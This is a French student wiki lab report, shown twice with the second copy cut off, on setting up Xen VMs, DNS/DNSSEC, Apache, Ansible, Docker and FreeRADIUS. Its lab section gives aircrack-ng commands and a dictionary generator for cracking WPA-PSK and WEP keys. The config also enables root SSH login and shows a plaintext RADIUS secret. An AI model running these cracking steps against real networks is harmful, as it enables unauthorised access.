Wiki d'activités IMA - Contributions de l’utilisateur [fr]

TP sysres IMA5sc 2019/2020 G4

2020-01-30T14:01:17Z

Zbriois : /* Tests d’intrusion */

==Introduction==
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.chlamydiae.site.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|900px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
<Location "/balancer-manager">
SetHandler balancer-manager
</Location>
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:
https://www.chlamydiae.site/balancer-manager

On obtient:
[[Fichier:chlamydiae_balancer_result.png|700px|center]]

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté (Ralink Technology, Corp. RT5370 Wireless Adapter):
lsusb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

==Réalisations==
====<s>Sécurisation de données</s>====
====Cryptage de données====
Pour afficher la liste des périphériques connectés au PC:
fdisk -l

On la crypte et on crée la partition:
cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted

On formate notre volume en ext4
mkfs -t ext4 /dev/mapper/virtual_vol_crypted

On le monte ensuite sur /mnt
mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/

On y crée un fichier /mnt/test_file puis on démonte /mnt:
umount /mnt

Puis on ferme la communication sur le volume crypté:
cryptsetup luksClose virtual_vol_crypted

A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis
-> demande du mot de passe
mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/

Et on retrouve notre fichier test_file.

Si on essaye simplement de monter une clé usb cryptée:
mount /dev/sdb1 mnt/tmp
mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’

===Serveur Freeradius===
FreeRADIUS est un logiciel libre et gratuit, version libre du protocole RADIUS (Remote Authentication Dial-In User Service) service d'authentification réseau interfaçable avec plusieurs sources d'identité (LDAP/SQL entre autres).

C'est un service utilisé notamment par les FAI pour identifier leurs clients. Dans notre cas il va nous être utile pour identifier les utilisateurs sur le réseau quand ils veulent accéder a Internet au travers d'un proxy ou se connecter au réseau WiFi.
La configuration du serveur FreeRADIUS consiste à :

* Déclarer ses clients (adresses IP), les routeurs ou switchs, et d’y renseigner le mot de passe partagé ;
* Puis d’enregistrer les utilisateurs avec leur mot de passe.

Tout d'abord il faut installer freeradius:
apt-get install freeradius

Dans un deuxième temps on ajoute ces clients dans /etc/freeradius/3.0/clients.conf :
* on ajoute :

client 10.60.200.2/24 {
secret = secretIMA5SC
shortname = borneChlamydiae
}

client PA {
ipaddr = 10.60.201.5
secret = secretIMA5SC
}

* Enregistrer les utilisateurs

Il faut ajouter une ligne qui indique l'identifiant et le mot de passe. On a choisi les mêmes id que la VM : root et mot de passe habituel.
Dans /etc/freeradius/3.0/users

Chlamydiae Cleartext-Password := "<password>"

Enregistrer les modifications et relancer :
service freeradius stop
freeradius -X

Enfin cette comande permet d'afficher les logs:
tail -f /var/log/freeradius/radius.log

====Sécurisation WiFi par WPA2-EAP====

TP sysres IMA5sc 2019/2020 G4

2020-01-30T13:51:32Z

Zbriois : /* Tests d’intrusion */

==Introduction==
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.chlamydiae.site.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
